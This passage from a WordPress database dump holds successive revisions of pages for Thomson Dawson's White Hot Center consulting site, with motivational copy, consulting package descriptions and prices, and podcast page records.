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(1210, 2, '2010-10-29 14:55:35', '2010-10-29 21:55:35', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2></h2>\r\n<h2></h2>\r\n<h2></h2>\r\n<h2></h2>\r\n<h2></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to with the clarity and confidence to pursue a bigger vision of their future.\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>I provide guidance and creativity to help you discover, define and pursue your best opportunities to create more value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Many of my clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( innovation / creativity / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing, sales, and  communications)</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;">For over 25 years, I have been a marketing, brand strategy and creative consultant to global companies and venture start-ups alike. My corporate clients have included Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have also consulted with dozens of mid-size companies and venture-funded start-ups in diverse industries.  My nearly three decades of successful entrepreneurial and business building expertise, coupled with my passion for living my life with creativity, authenticity, passion and service enable me to be a catalyst for change and growth for successful early stage entrepreneurs who seek insight, inspiration and tools to build their bigger future.  I offer several levels of consulting engagements:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level  have sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10-15K USD  This package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-10-29 14:55:35', '2010-10-29 21:55:35', '', 138, 'http://www.whitehotcenter.com/2010/10/29/138-revision-75/', 0, 'revision', '', 0),
(139, 1, '2009-04-06 14:50:33', '2009-04-06 21:50:33', '', 'whc sessions', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-04-06 14:50:33', '2009-04-06 21:50:33', '', 138, 'http://www.whitehotcenter.com/138-revision', 0, 'revision', '', 0),
(3079, 1, '2015-10-09 13:41:13', '2015-10-09 20:41:13', '<img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" />\r\n<h2><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h2>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their next level of growth. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5–$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs, I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs designed to elevate the quality of their presence in the marketplace.   </span>\r\n<h1><strong><span style="color: #000000;">Learn more about my consulting programs here.</span>\r\n</strong></h1>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg"><img class="alignnone size-full wp-image-3017" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" /></a>\r\n<h1>What clients say about Thomson Dawson!</h1>\r\n<h2><span style="color: #ff6600;">If you have a business transformation challenge, let''s have a conversation to discuss how to help you achieve your desired outcomes.</span></h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-09 13:41:13', '2015-10-09 20:41:13', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3077, 1, '2015-10-09 13:18:41', '2015-10-09 20:18:41', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg"><img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" /></a></h2>\r\n<h2><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h2>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their next level of growth. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5–$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs, I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs designed to elevate the quality of their presence in the marketplace.   </span>\r\n<h1><strong><span style="color: #000000;">Learn more about my consulting programs here.</span>\r\n</strong></h1>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg"><img class="alignnone size-full wp-image-3017" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" /></a>\r\n<h1>What clients say about Thomson Dawson!</h1>\r\n<h2><span style="color: #ff6600;">If you have a business transformation challenge, let''s have a conversation to discuss how to help you achieve your desired outcomes.</span></h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-09 13:18:41', '2015-10-09 20:18:41', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3057, 1, '2015-10-09 12:41:25', '2015-10-09 19:41:25', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg"><img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" /></a></h2>\r\n<h2><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h2>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their next level of growth. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5–$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs, I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs designed to elevate the quality of their presence in the marketplace.   </span>\r\n<h1><strong><span style="color: #000000;">Learn more about my consulting programs here.</span>\r\n</strong></h1>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg"><img class="alignnone size-full wp-image-3017" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" /></a>\r\n<h1>What clients say about Thomson Dawson!</h1>\r\n<h2><span style="color: #ff6600;">If you have a business transformation challenge, let''s have a conversation to discuss how to help you achieve your desired outcomes.</span></h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6" text_shadow="1px 1px 1px #000000"]Start the Conversation[/su_button]', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-09 12:41:25', '2015-10-09 19:41:25', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3045, 2, '2015-10-09 11:04:14', '2015-10-09 18:04:14', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg"><img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" /></a></h2>\r\n<h2><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h2>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their next level of growth. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5–$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs, I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs designed to elevate the quality of their presence in the marketplace.   </span>\r\n<h1><strong><span style="color: #000000;">Learn more about my consulting programs here.</span>\r\n</strong></h1>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg"><img class="alignnone size-full wp-image-3017" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" /></a>\r\n<h1>What clients say about Thomson Dawson!</h1>\r\n<h2><span style="color: #ff6600;">If you have a business transformation challenge, lets have a conversation to discuss how to help you achieve your desired outcomes.</span></h2>', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-09 11:04:14', '2015-10-09 18:04:14', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3017, 2, '2015-10-08 15:36:31', '2015-10-08 22:36:31', '', 'WHC Consulting Packages', 0, '', 'inherit', 'open', 'closed', '', 'whc-consulting', '', '', '2015-10-08 15:36:44', '2015-10-08 22:36:44', '', 138, 'http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg', 0, 'attachment', 'image/jpeg', 0),
(3018, 2, '2015-10-08 15:38:03', '2015-10-08 22:38:03', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg"><img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" /></a></h2>\r\n<h1></h1>\r\n<h1><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h1>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their journey. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5 –$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My Consulting Services</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs that elevate the quality of their presence in the marketplace.   </span><strong><span style="color: #ff6600;">Learn more here.</span>\r\n</strong>\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg"><img class="alignnone size-full wp-image-3017" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" /></a>\r\n<h1>What clients say about Thomson Dawson!</h1>\r\n&nbsp;\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-08 15:38:03', '2015-10-08 22:38:03', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3019, 2, '2015-10-08 16:02:11', '2015-10-08 23:02:11', '', 'WHC Podcast Episodes', 0, '', 'inherit', 'open', 'closed', '', 'whc-podcasts', '', '', '2015-10-08 16:02:23', '2015-10-08 23:02:23', '', 133, 'http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Podcasts.jpg', 0, 'attachment', 'image/jpeg', 0),
(3020, 2, '2015-10-08 16:02:58', '2015-10-08 23:02:58', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Podcasts.jpg"><img class="alignnone size-full wp-image-3019" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Podcasts.jpg" alt="WHC Podcast Episodes" width="480" height="310" /></a>\r\n<h2><span style="color: #ff6600;">White Hot Center podcasts and video posts will inspire and engage you to create a new levels of success in your business. Check our mix of ideas and insights on personal growth, leadership and business development strategies. Topics focus on your professional development, lifestyle design, value creation and demand generation. Of course your comments are most welcome and much appreciated. Please share your comments with the White Hot Center Community!</span></h2>\r\n&nbsp;\r\n\r\n[ss_podcast title="WHC Podcasts List" content="episodes" series="whc" link_title="true"]', 'WHC Podcasts–Listen & Learn!', 0, '', 'inherit', 'closed', 'closed', '', '133-revision-v1', '', '', '2015-10-08 16:02:58', '2015-10-08 23:02:58', '', 133, 'http://whc.fbdev.org/2015/10/133-revision-v1/', 0, 'revision', '', 0),
(3021, 2, '2015-10-08 16:03:11', '2015-10-08 23:03:11', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Podcasts.jpg"><img class="alignnone size-full wp-image-3019" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Podcasts.jpg" alt="WHC Podcast Episodes" width="480" height="310" /></a>\r\n<h1><span style="color: #ff6600;">White Hot Center podcasts and video posts will inspire and engage you to create a new levels of success in your business. Check our mix of ideas and insights on personal growth, leadership and business development strategies. Topics focus on your professional development, lifestyle design, value creation and demand generation. Of course your comments are most welcome and much appreciated. Please share your comments with the White Hot Center Community!</span></h1>\r\n&nbsp;\r\n\r\n[ss_podcast title="WHC Podcasts List" content="episodes" series="whc" link_title="true"]', 'WHC Podcasts–Listen & Learn!', 0, '', 'inherit', 'closed', 'closed', '', '133-revision-v1', '', '', '2015-10-08 16:03:11', '2015-10-08 23:03:11', '', 133, 'http://whc.fbdev.org/2015/10/133-revision-v1/', 0, 'revision', '', 0),
(2832, 2, '2014-06-29 11:27:06', '2014-06-29 18:27:06', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you turn your possibilities into acheivement and help you take your business to the next level of success."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs, Solo Professionals and Small Business Leaders</h6>\r\n<h2>Strategic and creative consulting exclusively for creative entrepreneurs, solo professionals and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nAt every stage of business growth, you will face challenges that block your progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are tirelessly working heads down in their business. Their days are usually consumed with the distracting detail of managing their current circumstances, few are innovating a strong foundation for their bigger better future. Most entrepreneurs focus on the urgent aspects of running their business rather than the more important focus and mastery of creating new value for higher value customers and clients.\r\n<h3><strong>My passion is to inspire, guide and advise you and your team to focus on new ideas, innovative strategies and effective tactics to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:</strong></h3>\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money making.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by customers and clients who wouldn''t think of doing business with anyone else.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand strategy, development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free from roadblocks  and get you moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><a title="Book your Power Session" href="mailto:thomson@whitehotcenter.com" target="_blank"><span style="color: #f87f06;"><em>Book your Power Session with Thomson.</em></span></a></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together over a three-month period to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6><strong>Investment: $2500 USD per month  (3-month minimum engagement)<em>\r\n</em></strong></h6>\r\n<h3><a title="Learn more in a conversation" href="mailto:thomson@whitehotcenter.com" target="_blank"><span style="color: #f87106;"><em>Learn more about how business transformation consulting can help you get to the next level of success in a conversation with Thomson.</em></span></a></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Brand Strategy and Business Development Workshop For Emerging Companies</strong>\r\nThis issue-based, highly facilitated one-day workshop designed for business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific brand strategy, business development or business transformation challenges. Typically organizations are inventing new business models, launching new products or transforming their business for the next level of growth. Client organizations for this level of of consulting have annual revenue of $5-50milliom+.\r\n\r\nThere are four key areas of focus within the workshop day to help you build your strategic road map and make the right decisions for achievement of your business goals:\r\n\r\n<strong>•  To whom you market, identifying higher value clients who are the best fit for your business.</strong>\r\n\r\n<strong>•  What makes your offerings highly valued by customers and difficult for them to substitute.</strong>\r\n\r\n<strong>•  How to effectively express and message your brand positioning, value proposition and brand story in the marketplace.</strong>\r\n\r\n<strong>•  Creating more value at every touch point in the value chain with your customers and clients.</strong>\r\n\r\nThe workshop program includes a pre workshop assessment of the specific business development challenges you’re currently facing, appropriate workshop planning, workshop facilitation, and the post workshop preparation of an Executive Summary documenting the key insights, hypothesis, and strategic decisions discussed in the workshop session that will guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><a title="Learn more in a conversation with Thomson" href="mailto:thomson@whitehotcenter.com" target="_blank"><span style="color: #f88406;"><em>Learn more about how the One Day Brand Strategy Workshop can help you create a foundation for building the value of your brand in a conversation with Thomson.</em></span></a></h3>\r\n<h2> <strong>Why work with me?</strong></h2>\r\n<strong>Three decades of strategic business development expertise.</strong>\r\nI have nearly three decades of experience working with hundreds of executives in global companies and startups alike to bring new value to the marketplace.  As a life-long entrepreneur myself, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future and creates sustained financial success.\r\n\r\nFrom my own experience, I know first hand the daily challenges and struggles with value creation, business development, sales, managing client/customer expectations, managing staff and collaborators that face all entrepreneurs along their way to building a successful business.\r\n<h2>Allow me to help you gain the clarity and confidence to create the success you desire in your business and in your whole life!</h2>\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to describe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level. They proactively invest financial resources for their future success into all areas of their business.\r\n\r\nIndividual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking insight, knowledge and advise to double and triple that amount. The small business organizations I serve have annual sales or service billing revenue in the $5 - $50 million+ range.<em></em>\r\n<h1><a title="Work with Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank"><em>Work With Thomson Dawson!</em></a></h1>\r\n&nbsp;\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2014-06-29 11:27:06', '2014-06-29 18:27:06', '', 138, 'http://www.whitehotcenter.com/2014/06/138-revision-220/', 0, 'revision', '', 0),
(2248, 2, '2013-05-20 11:55:11', '2013-05-20 18:55:11', '', 'Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', 'wild-thomson-250', '', '', '2013-05-20 11:55:11', '2013-05-20 18:55:11', '', 138, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/wild-thomson.250.jpg', 0, 'attachment', 'image/jpeg', 0),
(1809, 2, '2011-11-20 12:41:26', '2011-11-20 19:41:26', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. I offer marketing and business development expertise and advice to help you and your team focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development marketing, communication and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, I have advised senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. My expertise in customer insight, creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe. I work with forward thinking early-stage entrepreneurs to discover and pursue, with clarity and confidence, a bigger vision of their future. Two business development consulting packages are available through the White Hot Center:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development 